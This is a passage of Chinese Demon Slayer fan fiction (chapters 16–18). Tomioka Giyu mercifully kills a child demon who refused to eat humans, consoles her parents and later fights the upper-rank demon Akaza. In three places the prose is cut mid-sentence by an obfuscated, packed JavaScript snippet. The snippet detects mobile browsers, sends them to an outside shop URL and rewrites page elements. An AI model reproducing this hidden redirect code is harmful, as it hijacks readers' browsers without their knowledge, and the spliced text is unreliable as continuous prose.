他看着杯子里的茶水:“鬼都是人类变的,变成鬼之后更是将人类的阴暗面放大。他们会吃人,甚至有不少喜好虐杀人类。所以我永远不会放过吃人的恶鬼。” 在这两年里,富冈义勇斩过很多鬼的头。他见过鬼因为鲜血而癫狂的身影,也听过鬼因为人类的惨状而欢喜的笑声。 他闭上眼,不让自己去想鬼的丑陋面貌。 他不想倒胃口。 炼狱千寿郎不禁询问:“富冈先生会觉得保护这样的人类没有意义吗?” 他是还小,但并不是什么都不懂。 他能感受到哥哥的坚强,也能感受到父亲心中的无力。 富冈义勇摇头:“不会。” 他从未动摇过自己的信念。 “为什么呢?你和哥哥明明是为了救他们,他们却不乐意,甚至还刺伤了你。”炼狱千寿郎尚不理解这其中的复杂。 富冈义勇看着桌上的点心,想到了姐姐,也想到了锖兔。 “因为,如果不去做,就有人没办法像现在这样。” 他的家人、同伴,纷纷离他而去。 即使回到家,他也是一个人。 和自己的家人坐在一起,喝着茶,吃着点心。这样的场景,他已经无法奢求。 所以,他会拼尽全力,去守护这样的万家灯火。 16. 第 16 章 富冈义勇没在炼狱家待太久,在离开前他向炼狱杏寿郎请教了该如何和人相处。 被问到的炼狱杏寿郎思考了片刻,给出了他的建议。 “富冈先生只要把心里想说话的表达出来就好。” “富冈先生是个温柔又善良的人。我想所有和富冈先生相处过的人都会这么想的。” 富冈义勇记住了第一句话,他想了想,对着炼狱杏寿郎开始了实践:“杏寿郎,你们一家真的很像火红色的猫头鹰。” 炼狱杏寿郎一愣,随即大声地出来:“哈哈哈哈哈哈。” “嗯!火红色的猫头鹰,听上去就很气派!而且猫头鹰就是在晚上捉害虫。和我们也很像呢。” 那时炼狱千寿郎的唇边也挂着笑意。 对上富冈义勇有些不解的眼神,炼狱杏寿郎的唇边挂着温柔而又轻和的笑意:“富冈先生,其实你不用改变什么的。” 与人相处,真诚永远是不过时的通行证。 即使富冈先生话不多,大家也能感受到他内心的纯净与强大。 富冈义勇懵懵懂懂地点点头,然后告别了两人。 “宽三郎,今天有任务吗?”富冈义勇觉得心里有些乱,很想去多砍几个鬼的脑袋。 宽三郎落到富冈义勇的脑袋上,给自己找了一个舒服的位置:“今天没有任务,义勇可以好好休息。” 富冈义勇觉得自己已经休息好了:“真的没有任务吗?” 宽三郎无奈:“义勇……你的伤才好,又想进治疗室了吗?” 富冈义勇沉默地朝前走,过了一会才缓缓回答:“我也不是每次执行完任务都去治疗室的。” 宽三郎叹气,重点是这个吗? 相处两年下来,宽三郎也知道富冈义勇完全不会让自己闲下来,就干脆将自己听到的消息告诉他:“在西南方有一处村子传来有人失踪的消息,但仅失踪了一名女孩,尚不能定性成恶鬼吃人。” 富冈义勇握好手中的刀,点点头。 那就过去调查一番吧。 疑似有鬼的村子很是热闹,街上很多的人,店铺也都开着。 为了不引起麻烦,富冈义勇用羽织盖住自己的日轮刀。 他走在街上,观察着周围,听着路人们的闲聊。 “今天梅子屋的糕点做得很好吃呢,尤其是樱花饼,很推荐你去尝尝。” “过几天寺庙那边有祭典,到时候一起去逛吧。” 看上去很是和平,不像是有恶鬼出没的样子。 富冈义勇没有放松警惕,四处打探着情况。 “宽三郎,消息里提到少女是在哪里失踪的吗?”他小声地问肩膀上的宽三郎。 宽三郎也小声回答:“没有具体的位置,只提到少女去外出买东西就再没回来过。” 买东西……是被人拐走了吗? 富冈义勇微微皱眉。 “最近村子里好像进了黄鼠狼,我家养的鸡被偷走好几只,你们家晚上也把鸡看好了,不要被黄鼠狼叼走了。” 富冈义勇随机选了一家面馆,进去要了一碗荞麦面。 在店主煮好荞麦面时,富冈义勇问店主:“最近村子里经常有鸡被偷吗?” 听到他的疑问,店里同样吃面的人回应了他:“是啊。不止鸡,我家养的鸭子也被偷走了。” 富冈义勇点点头,回复道:“那晚上还请小心。” 店主的性格豪爽,将煮好的一碗面端给另一位客人后,看向富冈义勇:“小孩子在晚上更要小心才是。” 十五岁的少年,在大众眼里,还是需要被保护的孩子。 只是富冈义勇早已学会了坚强与独立。 他眨了眨眼,道:“我知道了,谢谢您。” 等入夜以后再来调查看看吧。 夜幕将太阳的余晖收起,月亮缺了一角,挂在天幕的中央。 富冈义勇站在村子最中央的屋顶上,在保持视野的同时,隐藏着自己的身形。 作为民间组织,鬼杀队的队员在执行任务时还是要尽量低调。 富冈义勇让宽三郎飞起来,绕着整个村子观察。 在空中飞行的鎹鸦视野比富冈义勇更好,一人一鸟就这样默默守护着村子的异常。 云卷云舒,月亮的身影若有若现,渐渐已入深夜。 在所有人安睡的时候,从村外的树林里,有一个身影悄悄潜入了村子。 宽三郎发现得很快,立马在空中猛烈地煽动翅膀,告诉富冈义勇这里出现了异常。 富冈义勇立马赶过去,从一个个屋檐上面跑过去。 他特意放轻了脚步,发生的声音很小。奔跑的过程中,他将手放在日轮刀上,随时准备着出击。 神秘身影的移动速度很快,而且看上去很了解村子的结构,几乎是直奔目的地。 富冈义勇加快了速度,赶在神秘身影闯入普通人家前将其拦住。 在看清面前生物的样子时,富冈义勇眉头紧皱。 这是一个小女孩。 扎着马尾,年龄尚浅。 富冈义勇拔刀的手一时顿住。 小女孩的双眼有些通红,嘴里发出嘶哑而又低沉的声音。而且她似乎很是焦躁,唾液从嘴角留下来, 她是鬼。 富冈义勇有了决断,立马拔出自己的刀,直接朝着小女孩攻过去。 小女孩看到富冈义勇冲过来的时候,转头就跑。 富冈义勇注意到不对劲,手中的一之型立马收了起来。 他眉头皱紧,他之前从未见过这样的鬼。 在短暂的犹豫后,富冈义勇抬头:“宽三郎。” 宽三郎直接给富冈义勇带路。 小女孩逃出了村子,跑进了附近山上的树林。 富冈义勇跟随着地上的痕迹,一路追了过去。 他一边前进,一边观察,留意到落叶上遗留的血迹和羽毛。 是被偷的家禽。 难道这个鬼并没有吃人? 富冈义勇心里的疑惑更甚,行动却更快了。 他来到一处小溪边,那里有一处山洞,里面不断传来手指摩擦石壁的声音。 富冈义勇没有进去。 他走到溪边,快准狠地从水里捞了一条鱼。 他不知道自己现在做得对不对,但试一试吧。 富冈义勇手腕一个用力,就将鱼丢了进去。 刺耳的摩擦声消失了。 富冈义勇闭上了眼。 小女孩很可能没有吃过人。 他将刀收了起来,俯身捡了一些树枝堆起来。 在这个时候,他格外得想念炼狱杏寿郎。 炎之呼吸用来点火真的很方便。 水之呼吸除了战斗一点都不实用。 在点着火堆以后,富冈义勇席地坐了下来。 山洞里传来悉悉索索的声音,富冈义勇看过去,就听到有一个很稚嫩的声音传出来:“还……还有吗?” “鱼……捉不到……” 富冈义勇侧头去看,就看到小女孩躲在洞口,与怯生生的表情形成反差的是她唇边无法忽视的血迹。 “饭团吃吗?”富冈义勇掏出自己拿着的饭团。 小女孩摇摇头:“想……想要肉……” 富冈义勇点头,起身又去水里捞了几条鱼。 小女孩没有靠近富冈义勇,而是等着他把鱼丢过来。 富冈义勇也没有强行靠过去,将捉到的鱼一一丢过去。 小女孩利落地将鱼接住,又跑进了山洞里。 变成鬼以后,能保持理智不去吃人吗? 富冈义勇不知道,从前也未见过这样的鬼。 对于鬼来说,他们越强大所拥有的理智也越多。按理说小女孩才变成鬼没几天,正是弱小需要食用人类血肉的时候。 等到山洞里咀嚼的声音消失,小女孩又来到了洞口处。 “离开……不然……会伤害你……”小女孩的声音很小。 富冈义勇坐在火堆边,扭身看过去:“你没吃过人,对吗?” 小女孩犹豫了几秒,然后说:“没……没有。妈妈说,不可以,伤害别人。” “想……爸爸妈妈,但……不可以……回去……” “哥哥……也走……我……很厉害,会伤……” 富冈义勇直接起身,试图靠近小女孩。 小女孩立马躲进了山洞:“不可以……靠近我……” 富冈义勇继续往山洞里走,小女孩躲到了山洞的最里面,将自己的身体蜷缩起来。 “不……不要……” 富冈义勇半蹲下身子,看着小女孩:“你有什么话想给你父母说的吗?” 小女孩愣住,富冈义勇也不着急,就这样看着她。 “想让……爸爸妈妈……知道我……我……是个好孩子。” 富冈义勇点头:“好,等天亮以后,我会帮你转达。” “你想和我走吗?”富冈义勇将鬼杀队简单地给小女孩说了说,“我以前从未见过你这样没吃过人的鬼,或许主公会知道怎么处理你的事情。” 鬼杀队的规则里不允许队员包庇恶鬼,但对于能控制自己又没吃过人的鬼,富冈义勇不觉得这属于恶鬼的范畴。 如果有其他人不同意,罪责他一人来承担便是。 小女孩抬头看向富冈义勇,眼睛本来亮了亮,却又在下一秒抱住自己的头:“不……不可以……” “我会……控制不住……自己……” “哥哥……你有刀……可以杀了我吗?” “我……不想……伤害人……” 富冈义勇神色未变:“你并非恶鬼,我也不会杀你。我会带你去见主公。” 他想要伸手抚摸一下小女孩的头,却在手伸出的下一秒被小女孩握住了手腕。 小女孩猛然抬起头,眼中充斥着血丝,再无半分神智:“人……” 鬼以人的血肉为食,靠人的血肉来修复身体并维持日常活动。 小女孩被变成鬼已经好几天,她一直在和内心的吞食血肉的欲.望挣扎。她不愿伤害人类,就去偷家禽。 但动物血肉能提供的能量远不如人类的,在富冈义勇靠近的这一刻,她的理智瞬间丧失,本能占据了上风。 富冈义勇迅速挣脱开手腕,并拉远和小女孩的距离。 他抬手看了看手腕,微微皱眉,那里被小女孩的指甲划伤了。 “想要……” “好饿……” “好饿!” 小女孩双目无神,脑海里只有进食的本能,她闻到了鲜血的味道,闻到了美食的味道,她摇晃着站起来,又快速朝着富冈义勇冲了过去! 富冈义勇快速闪开,直接来到山洞外面。 小女孩紧追不放,两个人就在林子里开始追逐。 不行! 如果这样放任她不管,她迟早会出去吃人! 富冈义勇握着刀把,却在拔刀的那一刻犹豫了。 他从未如此优柔寡断。 鳞泷老师在教导他时,强调过做决定时一定要快。如果你反应得慢了,就会有人因为这份犹豫而失去生命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153514|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他一直记得,却在此刻不知道该怎么做了。 右手的伤处不断传来痛感,流出的鲜血更加刺激着小女孩。她发出低沉的吼声,手上的指甲变长,嘴里的牙齿也变得锋利。 她的眼中再无半分理智。 富冈义勇不再犹豫,快速拔刀,和小女孩战斗起来。 作为新生的鬼,小女孩的实力并不强。几乎没过几招,她就被富冈义勇打落到地上。 似乎是因为疼痛,小女孩的神智恢复了些许。 她躺在地面,看到了夜空中的月亮。 白色的,美丽的。 “哥哥……杀了我……我要做……好孩子……” “拜托了……” 富冈义勇握紧了刀,心中再无半分犹豫。 漫天的水忽然出现,又在下一瞬化作娟娟细雨,从天而降,轻柔而温暖。 水之呼吸,五之型,干天的慈雨。 这是富冈义勇使用水之呼吸这么多年来第一次用这个招式。 “鳞泷老师,我们不是为了杀鬼才存在的吗?为什么水之呼吸里五之型会考虑鬼的感受?”那时刚到狭雾山的富冈义勇并不理解五之型。 鬼会吃人,见到直接杀了便是。为什么要有五之型这样慈悲的招式? 戴着天狗面具的鳞泷左近次站在一旁,语气平和:“义勇,我无法直接告诉你这个答案,这需要你自己去判断。但我很希望你永远不会有用这一招的一天。” 人有善恶,鬼也有好坏。一旦遇到心存善念的鬼,杀鬼的决心就会动摇。 鳞泷老师,你想说的是这样吗? “哥哥……谢谢你……”小女孩脸上露出笑意,然后安静地闭上了眼。 她想起来了。 那天她出来买东西,在街上碰上了一个红眼睛的姐姐。 姐姐很漂亮,她想过去打招呼,却被姐姐一把捏住脖子。一阵痛意之后,她就变成了现在的样子。 她想不起来自己是谁,只记得父母教导过她,不可以去欺负人。她不敢回家,也不敢回村子,只敢躲在山上。 她很笨,捉不到鱼,只能溜回村子里偷鸡鸭。 爸爸妈妈,对不起,她回不去了,但她有好好听话。 她是个好孩子,对不对? 富冈义勇收起了刀,看着小女孩的尸体化作了灰尘。 小女孩的头绳没有跟着一起消失,在月光与细雨中,反射出彩色的光。 宽三郎落到了富冈义勇的肩膀上,有些担心地看着他:“义勇……” “没事的。”富冈义勇弯下腰,从怀里掏出一块干净的布,将小女孩的头绳和身体化作的灰尘全部装了起来。 小女孩的遗言,他还需要帮忙转达。 等收好这些,富冈义勇才顾得上看自己手腕上的伤。见伤口已经因为呼吸法止血,便不再管,用袖子遮盖住伤口。 他重新坐回到火堆边,在寂静而又深沉的黑夜里,独自等待着天亮。 树林变得安静下来。 等到了白天,富冈义勇打听到了小女孩的家。他见到了小女孩的父母。两个人面容上满是憔悴,悲伤与绝望显而易见。 富冈义勇的神情没有丝毫变化,一如往常的冷峻。他将包裹着头绳和灰尘的布包递了出去,又不带一丝感情地将小女孩变成鬼又被他所杀的事解释了一番。 女孩母亲抱着布包就开始大声哭泣,甚至因为太过激动而直接跪倒在地面。 女孩父亲也备受打击,眼中也满是泪花。 “抱歉……”富冈义勇不知道该如何安慰,“她想告诉你们,她有听你们的话,没有去伤害人,她一直是你们的好孩子。” 女孩母亲双手捧着布包,眼泪止不住地流着。 女孩父亲一边哭一边咬牙,眼上满是痛苦与挣扎。情绪激动之下,他用手去攥富冈义勇的衣襟:“抚子明明没有伤害人,你为什么要杀了她!” “她才七岁啊!” “七岁啊……” 绝望而痛苦,无法宣泄的情绪化作了最无力的指责。 富冈义勇无言。 他不会后悔做出的决定,被怨被恨他都接受。 注意到爱人的举动,抚子母亲想要劝阻,却在抬头的瞬间注意到富冈义勇袖子上的血迹:“孩子,你受伤了吗?” 抚子父亲的手僵住,衣襟从他的指缝间滑落。 富冈义勇右手动了动,想要藏到身后。 抚子父亲直接捉住他的胳膊,撩开了袖子。 三道血淋淋的伤。 他松开了富冈义勇的手,大受打击般地后退几步:“是抚子……” 抚子伤了人。 “我必须杀了她,对不起。”富冈义勇微微躬身道歉,然后就想要转身离开。 抚子母亲拉住了他的衣摆,还带着哭腔的她,语气夹杂着关心:“孩子,我帮你处理一下伤口。” 他的伤不要紧。 他也不配他们的感谢与原谅。 富冈义勇摇了摇头,没再多说什么,直接离开了。 今天没有太阳出来,整个天空都阴沉沉的。 往远处看,甚至有黑色的乌云在聚集。 要下雨了。 “宽三郎,我们回去吧。” “……好。” 一人一鸟没有交流,就这样沉默地回到了家。 富冈义勇翻出药箱,给伤口进行了处理,又用嘴咬着绷带包扎好了伤口。 噼里啪啦的雨声响了起来。 一滴又一滴,一声又一声,砸在地上,响在心中。 17. 第 17 章 雨越下越大,富冈义勇跪坐在屋里,听着外面劈啪作响的雨声。 他微阖双目,将日轮刀放在身侧。 人分善恶,有心地善良的人,也有心存卑劣之人。 鬼由人而变,更是以人肉为食,以人血为饮。它们心中不存善念,将人的邪念放大。 鬼的恶,富冈义勇再清楚不过。 会吃掉自己家人,会以虐杀人类为乐,还会专挑特殊人群而食。 仗着身体被强化,依靠再生的能力,鬼做出了无数惨绝人寰之事。 但…… “哥哥……谢谢你……” 富冈义勇无法忘记小女孩最后释怀的笑容。 手中的刀,该如何挥动? 手中的刀,为斩恶鬼而出。 富冈义勇睁开了眼,他握住了刀,刀刃未出鞘。 水之呼吸。 防御如静海深远,攻击如波涛汹涌。 温和的水体,凌厉的攻势。 十一种招式交替使出,攻击与防守来回交织。 屋外的雨,屋内的水。 前者从天而降,后者因心而生。 带着毫不动摇的心,富冈义勇将一直前行。 他将为守护良善而战,为消灭恶鬼而战。 永怀慈悲之心,以水之坚韧面对世间所有。 富冈义勇站定,刀仍握在手中。 他缓缓睁开双眼,海蓝色的眼睛里,再无半分阴霾。 雨声急促如鼓点,像是为将来的路奏响前奏。 雨还在下,去泡个澡吧。 这样想着,富冈义勇走进了浴室。 倒进热水,褪下衣物。 富冈义勇的肤色很白,肌肉线条也很是流畅,充满着力量感,大大小小的伤疤散落在身体各处。 杀鬼多年,富冈义勇受的伤不在少数。 他小心地坐进去,避免受伤的右手沾到水。等身体被热水包裹,小心地将右手放在浴缸的侧边。 富冈义勇将头靠在墙壁上,藏起的疲惫显露出来。他放松着紧绷的身体,又舒服地呼出一口气,微微闭上眼。 明天要去找主公,需要把抚子的事情告诉他。 在找主公之前,也要让宽三郎去看看有没有任务。 他侧了侧头,透过旁边的小窗户朝外看。 原来已经是晚上了。 晚上要吃点什么? 下雨天,做点咖喱吃吧。 富冈义勇重新闭上眼。 雨声渐渐变得小了,水也渐渐变凉。 富冈义勇用左手解开自己的头发,然后撩到自己的身前。他拿起一旁的勺子,舀起浴缸里面的水,浇到自己的头发上。 因为右手有伤,洗头发就显得很不方便。打湿头发,简单清洗,最后富冈义勇迈出了浴缸。 泡澡的时候他很小心,右手的绷带还是干燥的。 富冈义勇拿起浴巾,擦拭着自己的头发。 头发好像有些长了,要剪一下吗? 等下次休息的时候剪剪好了。 等擦干头发上的水,富冈义勇又将身上的水也一一擦干,最后换上了常服。 他来到厨房,拿出食材,开始做起了最简单的咖喱。 等饭好,外面的雨也完全停了。 明天大概会是个晴天吧。 慢悠悠地吃着饭,又在吃完以后洗干净碗。 富冈义勇回到了卧室。 拿出被褥和枕头,弯腰铺好,关了灯,躺进去,轻柔而温暖的被子将他包裹起来。 一个哈欠响起,富冈义勇闭上了眼。 雨停了以后,宽三郎站到了屋顶上,等看到富冈义勇卧室的灯熄灭,他悄悄在心里道了一声晚安。 第二天果然是个晴天。 太阳很好,日光照在身上暖暖的。 富冈义勇见到产屋敷耀哉后,将抚子的事情告诉了他。 产屋敷耀哉沉默了一会,然后用温柔的声音说:“辛苦了,义勇。” 他看着单膝跪在院子里的富冈义勇:“在历任水柱里,干天的慈雨是使用最少,却都会使用的招式。” 产屋敷耀哉的话语轻缓:“在所有呼吸招式中,只有水之呼吸有这样温柔的招式。因为水至柔,至刚。” “义勇,我能感受到你的心中没有迷茫,这很好。” 鬼杀队已经运转千年,有无数人牺牲,也有无数人迷茫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153515|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找不到坚持的意义,找不到前进的方向。 普通队员是,柱也是。 产屋敷耀哉在感受到富冈义勇内心的坚定时,他有些欣慰,也有些心疼。 他在不断向前,但过去的阴影却如蛆附骨,让他无法正视。 产屋敷耀哉暗暗叹息,又在下一刻收起情绪。他嘴唇微弯:“义勇,我想交给你一个任务。” 富冈义勇恭敬回答:“但凭主公吩咐。” “在产屋敷的家族记载中,存在一名女士,其为鬼,却摆脱了鬼舞辻无惨的控制。” 这件事是产屋敷耀哉自己在调查的,他本不打算假手他人,因为他了解这些孩子。让他们去找一个有可能不存在的鬼合作,是一件很难的事。 产屋敷耀哉本想在自己找到这位女士后再做其他打算,却没想到富冈义勇经历了抚子一事。 这位女士毕竟是鬼,只有对鬼有一丝善念的人或是像他这样为达目的不择手段的人才能与之接触。 敌人的敌人就是朋友。 产屋敷耀哉深谙这一点。 只是这些事,就不便和面前的人细说了。 “义勇,我想拜托你,帮我找到这位女士。”产屋敷耀哉的声音依旧温和,却带了几分郑重。 富冈义勇依旧低着头:“好。我明白了。” 鬼舞辻无惨是罪恶的源头,只有杀了他,才不会有鬼的诞生。 富冈义勇明白这点。 “在浅草那里,鎹鸦曾察觉到有这位女士出没。义勇,我希望你前去调查。”产屋敷耀哉继续道,“这位女士我知道的消息也不多,找到她可谓是大海捞针。甚至因为她的身份,你在与鬼对战更会有所顾忌。义勇,这是个很困难的任务,你有权拒绝。” 富冈义勇思考了片刻,坚定地回答:“为了杀掉鬼舞辻无惨,我愿意去做。只要这位女士现在不会伤人,我也没有理由杀她。” “辛苦你了,义勇。”作为身体羸弱之人,产屋敷耀哉只能用言语支持他们。 他挥不动刀,更杀不了鬼,只能看着鬼杀队的孩子前仆后继。 鬼舞辻无惨,无数的血泪因你而生,他一定要让这一切悲剧画上句点。 18. 第 18 章 作为大城市,浅草这里有很浓郁的时代发展气息。 汽车,灯火,高楼大厦,满满的现代科技风格。 现在已经是夜晚,但街上非常热闹。人们接踵并行,各式各样的小店也在开门营业。 烟火人间。 富冈义勇走在街道上,空气里弥漫着各式各样的味道。 食物的香气,人身上的香水味,还有……若有若无的鬼气。 富冈义勇循着鬼的气息在人群之间穿梭,来到了一个幽深的小巷。 这里没有灯光,视野瞬间暗了下来。 富冈义勇闭了闭眼,让自己的眼睛适应了一下环境。 和刚刚的街道比起来,这里冷清了很多,几乎没什么人,只有零星几个人聚在一起,端着酒壶,在醉意里享受快意。 富冈义勇扫了这些人一眼,继续沿着小巷走。 喝醉的人是听不进人话的。与其让他们离开,还不如他直接找到鬼。 就是不知道主公所说的女士长什么样子。主公说这位女士很善于隐藏,他调查了这么多年,也只查到她的身边还有一位男性。 线索有些少,只能先找找看看了。 富冈义勇沿着小巷走着,忽然听到了铃铛声以及球被拍打的声音。 空气里弥漫的鬼气越来越浓了。 他提高警惕,将手放在腰间的刀上。 等走过拐角,富冈义勇在一棵树下看到了正在拍球的身影。 “哦呀,是猎鬼人吗?”像是找到和人玩耍的小孩一样,话语里满是兴意。 富冈义勇没有立即行动,主公要找的鬼是一名女性,面前的这个鬼也是一名女性。 在没有分辨出对方的身份前,他不能杀了她。 不过这个鬼看上去很弱小,一点也不像活了上百年的样子。 是因为一直没吃人,所以才变得这么弱小吗? 富冈义勇想到了之前的抚子。 “你知道鬼舞辻无惨吗?”富冈义勇不想浪费时间,直接开口询问。 鬼杀队的人一直在找鬼舞辻无惨的下落,他们也问过碰到的鬼是否知道他,但无一例外,这些鬼都不肯说。而那些仅仅是提到他名字的鬼,也在下一刻直接死掉了。 这是鬼舞辻无惨对他们的诅咒,也是对他们的控制。 如果面前这个鬼就是富冈义勇要找的,那已经摆脱鬼舞辻无惨的她,反应也会正常。 但对面的鬼仅仅在听到这个名字时,她的手就僵住了,球在地面弹了几下,直接停了下来。 富冈义勇明白了,这不是他要找的鬼。 那杀了便是。 富冈义勇拔出刀,直接就准备攻过去。 手球鬼也反应过来,连忙往旁边跑,但比她逃跑速度更快的,是富冈义勇刀刃的寒芒。 在刀刃即将刺中她脖子的瞬间,富冈义勇感到了一股阻力,刀刃偏了一度。 就是差这么一点,刀刃并没有砍下来手球鬼的脖子,只是留下一道很深的伤口。 手球鬼捂着自己的脖子,濒死的感觉让她几乎呼吸不过来。 这个猎鬼人好强! 手球鬼立马跳到远处,眼中满是惊恐。 富冈义勇扭头去看,一个闭着眼的鬼正站在他的身后,一双手伸直正对着他。 这是箭头鬼,可以用手控制箭头影响物体的运动方向。 两个鬼吗? 富冈义勇察觉到又有看不见的力量影响他的行动,便双手握紧刀,扭动身躯。 水波荡漾,在空中扭动,化成漩涡,凌厉如刃。 水之呼吸,六之型,扭转漩涡。 一力降十会。 在绝对的实力面前,这两个鬼就像那海面上的一只小船,在海浪翻涌间,顷刻便会化作海底破碎的残片。 “可恶!这家伙不是一般的猎鬼人!为什么柱会出现在这里?”箭头鬼所控制的箭头一一被破坏。 手球鬼的脖子还没有恢复好,一手捂着脖子一手控制着手球朝富冈义勇攻击。 这些攻击,完全没有生效。 富冈义勇手腕一扭,直接变招,双脚朝前一踏,直接朝着两个鬼冲过去。 日轮刀在空中挥舞,划出一个又一个的圆弧。 速度极快,攻击极强,在手球鬼和箭头鬼尚未反应过来前,他们便看到了对方掉落的脑袋。 富冈义勇将刀收起,没再看这两个鬼一眼。 鬼气没有变化,这里还有鬼。 富冈义勇没有放松警惕,仔细地观察着周围。 一阵风吹过,他迅速转身,抬头看向身侧的屋顶。 一个鬼站在那里,月光照在他的背后,在前方投下阴影。 见富冈义勇发现了他,他一跃而下,站到了富冈义勇的对面。落脚处的地面因为撞击而微微凹陷,如蛛网一般破碎裂开。 富冈义勇不自觉握紧手上的刀。 “你看上去很强,一定是柱吧。” “使用水之呼吸,是水柱吗?我上次和水柱交手还是五十年前了。” “我是猗窝座,来告诉我你的名字吧。我想记住你。” 上弦之三。 这是富冈义勇第一次遇到上弦。 而上弦鬼出现在这里,难道鬼舞辻无惨也在找那位女士的下落吗? 来不及深思,富冈义勇直接将刀拔出,朝猗窝座砍了上去。 这个鬼的气息比他之前遇到的所有鬼都要浓厚,而这也意味着这个鬼的实力很强,他必须先发制人。 猗窝座应对起来很是轻松,他没有武器,只凭手脚抵挡富冈义勇的刀。 富冈义勇的动作很快,手中的刀也不停挥动。 越是攻击,越能察觉到面前这个鬼的难缠。 他已经很久没体会过这种感觉了。 “喂,和我说说话啊。我知道你不是哑巴,你之前明明就有出声。”猗窝座边笑边抵挡着攻击。 富冈义勇像是什么也没有听到,灵活地用着水之呼吸的各个招式。 “既然你不告诉我名字,我就只好一直问下去了。”猗窝座很是失望的样子,右手攥拳,直接将富冈义勇弹开。 他微微蹲下,伸手的拳变为掌,左手攥拳朝后:“破坏杀,罗针。” 一个巨大的术式在他脚下展开。 “你的剑术这么厉害,要不要来当鬼啊?” “变成鬼,你就有无限的时间去提高你的实力。” 富冈义勇脸上的表情没有丝毫变化,还是那样平静。 猗窝座不再单纯防御,而是开始进攻。虽然手中没有武器,但他的身体就是最好的攻击。 两个人的打斗给小巷带来了不小的破坏,周围的住宅也受到影响。 需要转移战场,不然周围的人都会遭殃。 富冈义勇挡住猗窝座的拳头,但拳头带来的遒劲透过刀刃伤到了他的左肩。 疼痛开始蔓延,鲜血开始溢出,富冈义勇的动作也慢了半分。 猗窝座没有放走这个机会,直接对着他快速地挥拳。 富冈义勇咬牙,忍着疼痛挥动手中的刀。 必须挡下来这些攻击! 水之呼吸,十一之型,凪。 “我从没见过这个招式。”猗窝座更加兴奋了,“上一个被我杀掉的水柱也没用过。” 因为过于开心,他甚至没有继续攻击。 富冈义勇迅速朝城镇边缘跑:“还想打的话,就跟我去城外。” 猗窝座显然打得正开心,自然不会放过他:“既然说话了,就告诉我你的名字啊。” 他不在乎富冈义勇为什么要离开这里,只想见识富冈义勇的能力。 他喜欢强者,也喜欢和强者打架。 如果这个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153516|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也变成鬼就好了。 富冈义勇快速移动着,直接和猗窝座来到了城镇外的空地上。 “来吧,再让我见识一下你的剑技吧。”猗窝座在跑来的空中就对着富冈义勇挥动双拳,“破坏杀,乱式。” 富冈义勇再次用出凪应对,将攻击全部吞没在海面之下。 猗窝座落到了地面上,富冈义勇二话不说就打了上去。 刀刃与□□的碰撞,声声铿锵。 水之呼吸,二之型,水车。 水流旋转,舞动成圆。 猗窝座的手被砍断,又在下一秒重新生长。 水之呼吸,一之型,水面斩。 猗窝座的肩膀被划伤。 水之呼吸,三之型,流流舞。 猗窝座用胳膊去抵挡,血液涌出,伤口愈合。 水之呼吸,四之型,打击之潮。 水之呼吸,七之型,雫波纹击刺。 猗窝座翻身躲开,刀刃造成的伤口远不如他愈合得要快。 富冈义勇擦去嘴角的血迹,握着刀的手没有丝毫的颤抖。 水之呼吸,十之型,生生流转。 聚水成龙,翻腾如汹涌海波。 只是在那蓝色的水流里,夹杂着斑驳血色。 人与鬼的战斗,便是如此绝望。 在见识了所有水之呼吸的招式后,猗窝座的兴趣很明显减弱了。 “看来你所有的水之呼吸都已经用过了。”猗窝座拉近和富冈义勇的距离,“是时候结束了。” “真的不愿意告诉我名字吗?” 富冈义勇身体后仰,手中的刀挥动,砍向猗窝座的脖颈。 “咔!” 这声音并非彰显刀刃砍进肉.体,而是刀身断裂了。 富冈义勇睁大眼睛。 怎么会这样? 他的刀……从侧面被击断了…… “永别了。”猗窝座伸手,就要打向富冈义勇的肚子。 富冈义勇立刻反握刀把,用尽全力,反手砍断了猗窝座的手腕。 “咳!”虽然富冈义勇及时阻拦了致命伤,但拳风还是给他造成不少的伤。 他用断刃插在地上,稳住自己的身体。 血液控制不住地滴落在地面上,他握着刀的手也因为失力而颤抖不已。 左肩抬不起来,很可能是骨裂了。右手上的伤也因为过度用力而崩裂,内脏似乎都因为冲击而受损,口腔里也充满了腥甜的液体,不断上涌。 他现在的伤势用呼吸法已经控制不住了。 “你居然还能爆发出这样的力量。”猗窝座的兴致又被提了起来,“来吧,告诉我你的名字,我一定会记住你的。” “你已经没法战斗了,来和我一起变成鬼吧,你一定会变得更强的。” “有你这样的人做对手,我会非常开心的。” 富冈义勇努力撑起身体,嘴角甚至还在溢出血迹。他握紧断着的刀,再次摆出攻击的姿态。 他绝对不会成为鬼。 而在死亡之前,他会战斗到最后一刻。 就像锖兔当年一样。 猗窝座失望地看着他:“真的不和我说话吗?” 